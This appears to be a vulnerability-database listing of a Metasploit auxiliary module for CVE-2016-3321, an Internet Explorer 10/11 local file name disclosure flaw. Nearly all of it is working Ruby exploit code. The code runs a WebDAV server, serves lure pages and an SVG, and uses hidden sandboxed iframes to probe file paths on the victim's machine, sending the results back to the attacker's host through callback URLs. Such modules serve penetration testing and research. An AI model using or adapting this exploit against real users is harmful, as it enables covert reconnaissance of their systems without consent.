Lucene search
K

Internet Explorer Iframe Sandbox File Name Disclosure

🗓️ 31 Aug 2024 00:00:00Reported by Yorick Koster, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 168 Views

Internet Explorer allows disclosure of local file names through Iframe Sandbox exploitation. Exploits behavior difference for file:// URLs pointing to existing and non-existing files. Limited to IE 10 & 11

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',  
'Description' => %q{  
It was found that Internet Explorer allows the disclosure of local file names.  
This issue exists due to the fact that Internet Explorer behaves different for  
file:// URLs pointing to existing and non-existent files. When used in  
combination with HTML5 sandbox iframes it is possible to use this behavior to  
find out if a local file exists. This technique only works on Internet Explorer  
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do  
this from a regular website as file:// URLs are blocked all together. The attack  
must be performed locally (works with Internet zone Mark of the Web) or from a  
share.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Yorick Koster',  
'References' =>  
[  
['CVE', '2016-3321'],  
['MSB', 'MS16-095'],  
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],  
],  
'Platform' => 'win',  
'DisclosureDate' => '2016-08-09'  
))  
  
register_options(  
[  
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),  
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),  
])  
  
# no SSL  
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')  
end  
  
def js  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
%Q|function report() {  
if(window.location.protocol != 'file:') {  
try {  
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';  
} catch (e) { }  
return;  
}  
  
var frames = document.getElementsByTagName('iframe');  
for(var i = 0; i < frames.length; i++) {  
try {  
if(frames[i].name == 'notfound') {  
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;  
}  
else {  
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;  
}  
} catch(e) { }  
}  
}|  
end  
  
def html  
frames = ""  
datastore['PATHS'].split(',').each do |path|  
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"  
end  
  
%Q|<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript">  
#{js}  
</script>  
</head>  
<body>  
#{frames}  
<script type="text/javascript">  
setTimeout('report();', 2000);  
</script>  
</body>  
</html>|  
end  
  
def svg  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
%Q|<!-- saved from url=(0014)about:internet -->  
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|  
end  
  
def is_target_suitable?(user_agent)  
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/  
return true  
end  
  
info = fingerprint_user_agent(user_agent)  
if info[:ua_name] == HttpClients::IE  
return true  
end  
  
false  
end  
  
def on_request_uri(cli, request)  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
unless is_target_suitable?(request.headers['User-Agent'])  
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")  
resp = create_response(200, "OK")  
resp.body = svg  
resp['Content-Type'] = 'image/svg+xml'  
resp['Content-Disposition'] = 'attachment;filename=image.svg'  
cli.send_response(resp)  
end  
  
case request.uri  
when /^\/found\/\?f=/  
f = URI.decode_www_form(request.uri.split("/found/?").last).assoc('f').last  
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)  
print_good("Found file " + f)  
send_response(cli, '')  
when /^\/notfound\/\?f=/  
f = URI.decode_www_form(request.uri.split("/notfound/?").last).assoc('f').last  
print_error("The file " + f + " does not exist")  
send_response(cli, '')  
when "/"  
resp = create_response(200, "OK")  
resp.body = %Q|<html>  
<head>  
<script type="text/javascript">  
try {  
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';  
} catch (e) {  
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);  
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');  
}  
</script>  
</head>  
<body>  
</body>  
</html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
else  
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")  
send_response(cli, html)  
end  
else  
print_status("#{request.method} #{request.uri} => 404")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("PROPFIND #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
  
if path.index(".")  
print_status "PROPFIND => 207 File (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
return  
else  
print_status "PROPFIND => 301 (#{path})"  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status "PROPFIND => 207 Directory (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
if request["Depth"].to_i > 0  
trail = path.split("/")  
trail.shift  
case trail.length  
when 0  
body << generate_shares(path)  
when 1  
body << generate_files(path)  
end  
else  
print_status "PROPFIND => 207 Top-Level Directory"  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_shares(path)  
share_name = datastore['SHARENAME']  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def generate_files(path)  
trail = path.split("/")  
return "" if trail.length < 2  
  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}index.html</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
def run  
datastore['URIPATH'] = '/'  
datastore['SRVPORT'] = 80  
exploit  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 21.9
CVSS 32.5
EPSS0.28678
168